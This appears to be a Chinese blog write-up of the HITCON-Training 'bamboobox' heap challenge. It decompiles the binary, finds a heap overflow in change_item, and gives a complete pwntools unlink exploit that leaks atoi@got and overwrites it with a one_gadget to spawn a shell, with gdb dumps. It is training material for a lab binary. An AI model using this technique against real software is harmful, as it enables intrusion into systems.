lab11 bamboobox(unlink攻击)

发布时间 2023-10-17 20:21:52作者: 叶际参差
tags:
  - unlink
  - pwn
  - 堆漏洞

二进制文件下载:https://github.com/scwuaptx/HITCON-Training/blob/master/LAB/lab11/bamboobox

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (**v4)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v4 = (void (**)(void))malloc(0x10uLL);
  *v4 = (void (*)(void))hello_message;
  v4[1] = (void (*)(void))goodbye_message;
  (*v4)();
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        v4[1]();
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

分别查看show_item、add_item、change_item和remove_item函数。
根据逻辑,先add_item、然后show_item或change_item,最后看remove_item。
add_item()

__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
      {
        *((_DWORD *)&itemlist + 4 * i) = v2;
        *((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);// &unk_6020c8 = &itemlist + 0x8
        printf("Please enter the name of item:");
        *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}

添加的item数目最多为99,会先读入item name的长度,但是只要不为0就不做限制。看看itemlist和unk_6020c8在bss段的位置:

.bss:00000000006020C0                 public itemlist
.bss:00000000006020C0 itemlist        db    ? ;               ; DATA XREF: add_item+A4↑o
.bss:00000000006020C1                 db    ? ;
.bss:00000000006020C2                 db    ? ;
.bss:00000000006020C3                 db    ? ;
.bss:00000000006020C4                 db    ? ;
.bss:00000000006020C5                 db    ? ;
.bss:00000000006020C6                 db    ? ;
.bss:00000000006020C7                 db    ? ;
.bss:00000000006020C8 unk_6020C8      db    ? ;
.bss:00000000006020C9                 db    ? ;
.bss:00000000006020CA                 db    ? ;

itemlist和unk_6020c8作为起点分别存入item name的长度值和存储item name的堆内存指针,然后给item name补上0。
根据这段代码:

*((_DWORD *)&itemlist + 4 * i) = v2;
*((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);

v2的地址= &itemlist + 4 * 4i,第2个4对应DWORD
malloc(v2)指针存放的地址=&unk_6020C8 + 2 * 8i,这里的8对应QWORD
其在bss段的布局如下:

因此item结构体如下:

struct item{
	int lenth;   //DWORD,占4字节
	char name[lenth];  //QWORD,占8字节
}

show_item()

int show_item()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( *((_QWORD *)&unk_6020C8 + 2 * i) )
      printf("%d : %s", (unsigned int)i, *((const char **)&unk_6020C8 + 2 * i));
  }
  return puts(byte_401089);
}

按照一定格式打印item的长度和name的字符串值

*((const char **)&unk_6020C8 + 2 * i)

与前面类似,char *指针是8字节的。

change_item()

unsigned __int64 change_item()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8uLL);
      v2 = atoi(nptr);          // 没有限制长度,读入过多的数据导致堆溢出
      printf("Please enter the new name of the item:");
      *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
      // 写进去的地址是从bss段取的,这里原本指向的是一个堆内存,可以被unlink操作给修改掉
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

change_item再次读入name的长度却没有限制,于是读入堆内存的数据过多导致堆溢出。

remove_item()

unsigned __int64 remove_item()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
    {
      free(*((void **)&unk_6020C8 + 2 * v1));
      *((_QWORD *)&unk_6020C8 + 2 * v1) = 0LL;
      *((_DWORD *)&itemlist + 4 * v1) = 0;
      puts("remove successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里的free的指针是直接从bss段读取的。

magic()后门函数
地址0x400d49

void __noreturn magic()
{
  int fd; // [rsp+Ch] [rbp-74h]
  char buf[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/bamboobox/flag", 0);
  read(fd, buf, 0x64uLL);
  close(fd);
  printf("%s", buf);
  exit(0);
}

保护机制

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

local = 1
elf = ELF('./bamboobox')
if local:
    p = process('./bamboobox')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
    ru("Your choice:")
    sl('2')
    ru("Please enter the length of item name:")
    sd(str(size))
    ru("Please enter the name of item:")
    sd(content)
def free(index):
    ru("Your choice:")
    sl('4')
    ru("Please enter the index of item:")
    sl(str(index))
def exit():
    ru("Your choice:")
    sl('5')
def puts():
    ru("Your choice:")
    sl('1')
def change(index,size,content):
    ru("Your choice:")
    sl('3')
    ru("Please enter the index of item:")
    sd(str(index))
    ru("Please enter the length of item name:")
    sd(str(size))
    ru("Please enter the new name of the item:")
    sd(content)

magic = 0x400d49
atoi_got = elf.got["atoi"]

# step 1
#bk(0x0000000000400ADD)
malloc(0x80,'aaaa')
malloc(0x80,'bbbb')

# step 2
FD = 0x6020c8 - 3*8
BK = FD + 8
py1 = p64(0) + p64(0x81) + p64(FD) + p64(BK)  #0x20
py1 += "a"*0x60 
py1 += p64(0x80) + p64(0x90) #0x10
change(0,0x90,py1)
free(1)

# step 3
py2 = ''
py2 += 'a'*24 + p64(atoi_got)
change(0,len(py2),py2) 
puts()

# step 4
atoi_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "atoi_addr--->" + hex(atoi_addr)
onegadget = atoi_addr - libc.symbols["atoi"] + 0xf03a4
print "onegadget--->" + hex(onegadget)
change(0,0x10,p64(onegadget))
exit()

p.interactive()

step 1 分配2个内存块

分配两个chunk,大小80(实际会是0x90,超过了fastbin的范围),就可以实现unlink,双向链表才有这个操作,fastbin单向链表所以是没有的unlink的攻击的。
gdb调试如下:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x10f2000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x10f2020
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x10f20b0
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x10f2140
Size: 0x20ec1


查看itemlist:

pwndbg> x/20gx 0x6020C0
0x6020c0 <itemlist>:	0x0000000000000080	0x00000000010f2030
0x6020d0 <itemlist+16>:	0x0000000000000080	0x00000000010f20c0
0x6020e0 <itemlist+32>:	0x0000000000000000	0x0000000000000000
0x6020f0 <itemlist+48>:	0x0000000000000000	0x0000000000000000

可以看到,指向chunk中的user data内存的地址正确的存入了itemlist中。

利用change_item()函数去修改我们分配第一个chunk(记作chunk1)的name,内容是一个构造的fake chunk,有四点需注意:

  1. prev_size=0,因为是紧接着chunk1的chunk头
  2. size=0x81,即chunk1的size-0x10,这里的0x10是chunk头的长度
  3. 构造fd和bk,fd = ptr - 0x18, bk = ptr - 0x10,ptr是可读写内存地址,这里选择unk_6020c8的起始地址,即一个存放item的name域指针的地址。
  4. 覆盖我们分配第二个chunk(记作chunk2)的prev_size和pre_inuse标志位,这里的prev_size=0x80(0x81 & ~0x7),prev_inuse置0

change后,free前

重新执行,地址会有所改变,但过程和结果一致

free后

pwndbg> x/20gx 0x6020C0
0x6020c0 <itemlist>:	0x0000000000000080	0x00000000006020b0
0x6020d0 <itemlist+16>:	0x0000000000000000	0x0000000000000000
0x6020e0 <itemlist+32>:	0x0000000000000000	0x0000000000000000

由于unlink触发的漏洞,0x6020c8(ptr)处的值变为了0x6020b0(ptr - 0x18)

step 3 泄露atoi@got地址

在step2,我们修改了item[0]的name域,使得name指针从原来的指向某个堆内存,变为指向bss段的某个地址——0x6020b0,于是构造字符串进行写入,并再次覆盖item[0]的name域,使得其值变为atoi@got地址,然后通过show_item函数打印出atoi的真实地址。

pwndbg> x/20gx 0x6020C8 - 0x18
0x6020b0 <stdin@@GLIBC_2.2.5>:	0x6161616161616161	0x6161616161616161
0x6020c0 <itemlist>:	0x6161616161616161	0x0000000000602068
0x6020d0 <itemlist+16>:	0x0000000000000000	0x0000000000000000

step 4 覆写got

上一步泄露除了atoi的真实地址,于是就可以计算出magic的地址。
接着再次改写0x602068处也就是atoi@got的值,再次指向atoi函数时就会转去执行onegadget,进而getshell。
覆写前:

pwndbg> telescope 0x602068
00:0000│  0x602068 (atoi@got[plt]) —▸ 0x7f4833e36e90 (atoi) ◂— sub rsp, 8
01:0008│  0x602070 (exit@got[plt]) —▸ 0x400786 (exit@plt+6) ◂— push 0xb /* 'h\x0b' */
02:0010│  0x602078 (data_start) ◂— 0x0

覆写后:

pwndbg> telescope 0x602068
00:0000│ rdx rsi 0x602068 (atoi@got[plt]) —▸ 0x7f4833ef02a4 (exec_comm.constprop+884) ◂— push 0 /* 'h' */
01:0008│         0x602070 (exit@got[plt]) —▸ 0x400700 (printf@plt) ◂— jmp qword ptr [rip + 0x20192a]
02:0010│         0x602078 (data_start) ◂— 0x0

one_gadget地址获取

unlink$ one_gadget /home/zsc/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

总有一个会成功。

参考

堆入门---unlink的理解和各种题型总结